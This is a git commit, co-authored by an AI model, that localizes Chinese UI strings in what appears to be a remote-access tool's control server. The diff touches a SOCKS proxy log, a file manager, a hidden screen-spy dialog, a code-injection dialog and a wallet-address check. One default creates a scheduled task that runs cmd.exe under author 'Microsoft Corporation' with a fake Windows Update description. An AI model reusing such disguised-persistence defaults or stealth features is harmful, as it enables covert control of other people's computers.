Fix: Translate remaining server UI strings missing _TR/_L

Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-09-06 09:39:59 +02:00
1 parent dd845823b6
commit 221617fe02
10 files changed
+84 -36

No files matched your search

+1 -1
View File
@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default"))
, m_strEncryptIP(_T("是"))
, m_strEncryptIP(_L(_T("是")))
, m_sInstallDir(_T(""))
, m_sInstallName(_T(""))
, m_sDownloadUrl(_T(""))
+1 -1
View File
@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
+1 -1
View File
@@ -268,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
#ifdef _DEBUG
// ShowWindow(SW_MINIMIZE);
#endif
m_strTip = CString("请等待......");
m_strTip = _TR("请等待......");
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
+10 -10
View File
@@ -644,22 +644,22 @@ void CFileManagerDlg::OnReceiveComplete()
break;
case TOKEN_FILE_SEARCHPLUS_NONTFS: {
DWORD_PTR dwResult;
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_TRF(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
break;
case TOKEN_FILE_SEARCHPLUS_HANDLE: {
DWORD_PTR dwResult;
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
break;
case TOKEN_FILE_SEARCHPLUS_INITUSN: {
DWORD_PTR dwResult;
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
break;
case TOKEN_FILE_SEARCHPLUS_GETUSN: {
DWORD_PTR dwResult;
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
break;
case TOKEN_FILE_SEARCHPLUS_NUMBER: {
@@ -764,13 +764,13 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
int nItem = m_list_remote_driver.GetSelectionMark();
CString directory = m_list_remote_driver.GetItemText(nItem, 0);
if (directory.Compare(_T("桌面")) == 0) {
if (directory.Compare(_L(_T("桌面"))) == 0) {
m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath);
m_list_remote.SetSelectionMark(-1);
GetRemoteFileList();
return;
}
if (directory.Compare(_T("最近")) == 0) {
if (directory.Compare(_L(_T("最近"))) == 0) {
BYTE byToken = COMMAND_FILE_RECENT;
m_ContextObject->Send2Client(&byToken, 1);
return;
@@ -1482,10 +1482,10 @@ void CFileManagerDlg::EndLocalRecvFile()
DWORD_PTR dwResult;
if (m_bIsStop) {
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
(LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
(LPARAM)_TRF(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
} else {
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
(LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
(LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
m_bIsStop = false;
} else {
@@ -1516,10 +1516,10 @@ void CFileManagerDlg::EndLocalUploadFile()
DWORD_PTR dwResult;
if (m_bIsStop) {
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
(LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
(LPARAM)_TRF(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
} else {
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
(LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
(LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
}
m_bIsStop = false;
DRIVE_CAZ = TRUE;
+24
View File
@@ -2001,3 +2001,27 @@ MCP
Token=Token
启用远程控制(AI 操控桌面)=Enable remote control (AI controls the desktop)
启用文件传输(download_file)=Enable file transfer (download_file)
第 %d 个钱包地址不合法!=Wallet address #%d is invalid!
%d 新连接\r\n=%d New connection\r\n
%d 本地连接断开\r\n=%d Local connection closed\r\n
%d <==发 %d bytes\r\n=%d <== sent %d bytes\r\n
%d 返回标示 %d %d %d\r\n=%d Return flag %d %d %d\r\n
域名 连接 %d \r\n=Domain connect %d \r\n
%d IPV6连接 不支持...=%d IPv6 connection not supported...
%d 不符要求, 断开 %d %d %d\r\n=%d Not compliant, disconnect %d %d %d\r\n
%d 连接成功\r\n=%d Connected\r\n
%d 连接失败\r\n=%d Connection failed\r\n
%d ==>收 %d bytes\r\n=%d ==> received %d bytes\r\n
驱动盘非NTFS格式= Drive is not NTFS
需要管理员权限运行=Administrator privileges required
初始化日志文件失败=Failed to initialize log file
获取日志文件失败=Failed to get log file
取消下载= Download cancelled
全部完成= All done
取消上传= Upload cancelled
无权限或无记录...=No permission or no records...
请等待数据返回...=Waiting for data...
接收数据完成=Data received
打开文件失败...=Failed to open file...
此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=This task starts the Windows Update service when needed to run scheduled operations (e.g. scanning)
本地文件路径=Local file path
+24
View File
@@ -1992,3 +1992,27 @@ MCP
Token=Token
启用远程控制(AI 操控桌面)=啟用遠端控制(AI 操控桌面)
启用文件传输(download_file)=啟用檔案傳輸(download_file)
第 %d 个钱包地址不合法!=第 %d 個錢包位址不合法!
%d 新连接\r\n=%d 新連線\r\n
%d 本地连接断开\r\n=%d 本機連線斷開\r\n
%d <==发 %d bytes\r\n=%d <==傳送 %d bytes\r\n
%d 返回标示 %d %d %d\r\n=%d 返回標示 %d %d %d\r\n
域名 连接 %d \r\n=網域連線 %d \r\n
%d IPV6连接 不支持...=%d IPv6連線 不支援...
%d 不符要求, 断开 %d %d %d\r\n=%d 不符合要求, 斷開 %d %d %d\r\n
%d 连接成功\r\n=%d 連線成功\r\n
%d 连接失败\r\n=%d 連線失敗\r\n
%d ==>收 %d bytes\r\n=%d ==>接收 %d bytes\r\n
驱动盘非NTFS格式= 磁碟非NTFS格式
需要管理员权限运行=需要管理員權限執行
初始化日志文件失败=初始化日誌檔案失敗
获取日志文件失败=取得日誌檔案失敗
取消下载= 取消下載
全部完成= 全部完成
取消上传= 取消上傳
无权限或无记录...=無權限或無記錄...
请等待数据返回...=請等待資料返回...
接收数据完成=接收資料完成
打开文件失败...=開啟檔案失敗...
此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=此工作用於在需要時啟動 Windows 更新服務以執行排程的操作(如掃描)
本地文件路径=本機檔案路徑
+10 -10
View File
@@ -135,7 +135,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
try {
switch (nCode) {
case NC_CLIENT_CONNECT:
wsprintf(szMsg, _T("%d 新连接\r\n"), index);
wsprintf(szMsg, _TRF("%d 新连接\r\n"), index);
break;
case NC_CLIENT_DISCONNECT:
if (pContext->m_bProxyConnected) {
@@ -144,7 +144,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
}
wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
wsprintf(szMsg, _TRF("%d 本地连接断开\r\n"), index);
break;
case NC_TRANSMIT:
break;
@@ -152,13 +152,13 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
wsprintf(szMsg, _TRF("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
pContext->m_bProxyConnected = 1;
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
wsprintf(szMsg, _TRF("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
} else if (pContext->m_bProxyConnected == 1) {
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
BYTE buf[11] = {};
@@ -182,10 +182,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
wsprintf(szMsg, _TRF("域名 连接 %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index);
wsprintf(szMsg, _TRF("%d IPV6连接 不支持..."), index);
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
break;
@@ -197,7 +197,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
buf[3] = lpData[3];
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
wsprintf(szMsg, _TRF("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
}
}
break;
@@ -238,9 +238,9 @@ void CProxyMapDlg::OnReceiveComplete()
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
if (sendbuf[1] == 0) {
pContext_proxy->m_bProxyConnected = 2;
wsprintf(szMsg, _T("%d 连接成功\r\n"), index);
wsprintf(szMsg, _TRF("%d 连接成功\r\n"), index);
} else
wsprintf(szMsg, _T("%d 连接失败\r\n"), index);
wsprintf(szMsg, _TRF("%d 连接失败\r\n"), index);
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
AddLog(szMsg);
}
@@ -266,7 +266,7 @@ void CProxyMapDlg::OnReceiveComplete()
AddLog(szMsg);
return;
}
wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
wsprintf(szMsg, _TRF("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
AddLog(szMsg);
}
}
+1 -1
View File
@@ -15,7 +15,7 @@ CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
, m_TaskNames(_T("bhyy"))
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
, m_Author(_T("Microsoft Corporation"))
, m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
, m_Description(_TR("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
{
}
+1 -1
View File
@@ -14,7 +14,7 @@ IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog)
CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/)
: CDialogLang(IDD_INJECTINFO, pParent)
, Str_loacal(_T("本地文件路径"))
, Str_loacal(_TR("本地文件路径"))
, Str_remote(_T(""))
{
}
+11 -11
View File
@@ -216,7 +216,7 @@ void CMachineDlg::OnReceiveComplete()
DeleteList();
if (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() <= 2) {
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("无权限或无记录...")), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("无权限或无记录...")), 0);
SetReceivingStatus(false);
return;
}
@@ -383,7 +383,7 @@ void CMachineDlg::DeleteList()
m_list.DeleteColumn(0);
}
if (!m_bIsClosed)
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("请等待数据返回...")), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("请等待数据返回...")), 0);
}
void CMachineDlg::ShowProcessList()
@@ -453,7 +453,7 @@ void CMachineDlg::ShowProcessList()
lvc.cchTextMax = str.GetLength();
m_list.SetColumn(7, &lvc);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
@@ -493,7 +493,7 @@ void CMachineDlg::ShowWindowsList()
lvc.cchTextMax = str.GetLength();
m_list.SetColumn(2, &lvc);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
@@ -545,7 +545,7 @@ void CMachineDlg::ShowNetStateList()
}
m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, pid));
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
@@ -571,7 +571,7 @@ void CMachineDlg::ShowSoftWareList()
}
m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
void CMachineDlg::ShowIEHistoryList()
@@ -593,7 +593,7 @@ void CMachineDlg::ShowIEHistoryList()
dwOffset += sizeof(Browsinghistory);
m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
void CMachineDlg::ShowFavoritesUrlList()
@@ -615,7 +615,7 @@ void CMachineDlg::ShowFavoritesUrlList()
}
m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
void CMachineDlg::ShowServiceList()
@@ -710,7 +710,7 @@ void CMachineDlg::ShowTaskList()
break;
}
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
void CMachineDlg::ShowHostsList()
@@ -730,7 +730,7 @@ void CMachineDlg::ShowHostsList()
m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
i++;
}
PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
}
void CMachineDlg::OnSize(UINT nType, int cx, int cy)
@@ -968,7 +968,7 @@ void CMachineDlg::ShowProcessList_menu()
BYTE* lpBuffer = NULL;
HANDLE hFile = CreateFile(dlg.Str_loacal, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("打开文件失败...")), 0);
PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("打开文件失败...")), 0);
} else {
p_InjectData->datasize = GetFileSize(hFile, NULL);
int allsize = p_InjectData->datasize + sizeof(InjectData)+1;